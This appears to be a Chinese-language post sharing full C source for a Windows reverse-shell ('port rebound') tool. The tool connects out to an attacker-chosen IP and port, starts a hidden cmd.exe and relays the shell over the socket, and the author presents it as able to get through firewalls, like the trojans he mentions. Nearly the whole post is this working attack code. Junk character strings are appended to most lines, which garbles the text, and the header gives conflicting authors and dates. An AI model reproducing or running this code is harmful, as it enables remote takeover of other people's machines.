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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cICf V,j  
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/* ============================== E^$8nqCL:  
Rebound port in Windows NT =- ,'LOE  
By wind,2006/7 =T\=,B  
===============================*/ }kP<zvAaw  
#include (][-()YV  
#include x=+>J$~Pb  
xP/q[7>#Q  
#pragma comment(lib,"wsock32.lib") tG ZMIG_  
v\_\bT1  
void OutputShell(); Sp*4Z`^je  
SOCKET sClient; q;UGiB^(A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yDWBrN._  
#sxv?r  
void main(int argc,char **argv) )@P*F) g~  
{ C|h Uyo  
WSADATA stWsaData; :(wFNK/0{  
int nRet; k1ja ([Q  
SOCKADDR_IN stSaiClient,stSaiServer; FBbaLqgVF{  
~Z!YB,)bp  
if(argc != 3) n$v4$_qS  
{ noM=8C&U  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1vxQ`)a  
return; Gp+\}<^ Z  
} '.M4yif \g  
43]y]/do  
WSAStartup(MAKEWORD(2,2),&stWsaData); &FuL {YL  
&AWrM{e  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +vxOCN4}v  
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stSaiClient.sin_family = AF_INET; >\w]i*%  
stSaiClient.sin_port = htons(0); vB}c6A4'U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r7L.W  
GdY@$&z{i  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v/=\(  
{ >^GV #z  
printf("Bind Socket Failed!\n"); |:.Uw\z5'  
return; <i]0EE}%  
} s]|tKQGl,  
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stSaiServer.sin_family = AF_INET; t 7o4 aBl"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZO/u3&gU  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )RT?/NW  
([}08OW@  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9[;da  
{ }WaZ+Mdg\  
printf("Connect Error!"); 9t6c*|60#n  
return; 9x|`XAB  
} C#^y{q  
OutputShell(); jT}={[9b  
} Y;%LwDC  
8>Cf}TvErx  
void OutputShell() yj#*H  
{ t$wbwP  
char szBuff[1024]; r-TrA$k  
SECURITY_ATTRIBUTES stSecurityAttributes; =&,T@5&-=  
OSVERSIONINFO stOsversionInfo; 9} m?E<6&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GBT|1c'i  
STARTUPINFO stStartupInfo; ! |UX4  
char *szShell; X^K^az&L  
PROCESS_INFORMATION stProcessInformation; {-8Nq`w  
unsigned long lBytesRead; 'Grii,  
ge:a{L  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); elQjPvb  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *OznZIn  
stSecurityAttributes.lpSecurityDescriptor = 0; `lWGwFgg(  
stSecurityAttributes.bInheritHandle = TRUE; I`H&b& .`  
Sk/@w[  
) $b F*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BV:Ca34&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y<6c*e1  
W/hzo*o'g  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x,.=VB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qrg- xu=  
stStartupInfo.wShowWindow = SW_HIDE; M\a{2f7'n  
stStartupInfo.hStdInput = hReadPipe; iw3\`,5   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =CJ`0yDQ>  
}7(+#ISK6  
GetVersionEx(&stOsversionInfo); PfRA\  
*1{A'`.=\  
switch(stOsversionInfo.dwPlatformId) v/9ZTd  
{ GWWg3z.o"W  
case 1: mL2J  
szShell = "command.com"; :PW"7|c!  
break; $!MP0f\q g  
default: 8=TC 3]  
szShell = "cmd.exe"; \fiy[W/k  
break; /51$o\4 S  
} OKlR`Vaty  
D 5n\h5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dk nM|  
l<GN<[/.+  
send(sClient,szMsg,77,0); 7@%qm|i>w  
while(1) boGdZ2$h4  
{ |1(x2x%}D^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |+W{c`KL  
if(lBytesRead) UMe?nAC  
{ sTl^j gV7j  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t;6<k7h  
send(sClient,szBuff,lBytesRead,0); "aF2:E'  
} WoN},oT[i  
else Q=Mv"~2>B  
{ `G1"&q,i  
lBytesRead=recv(sClient,szBuff,1024,0); 8wvHg_U6W  
if(lBytesRead<=0) break; o>C,Db~L/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2HmK['(  
} ch]Qz[d  
} V [g^R*b  
j8p<HE51  
return; k>mXh{ (  
}
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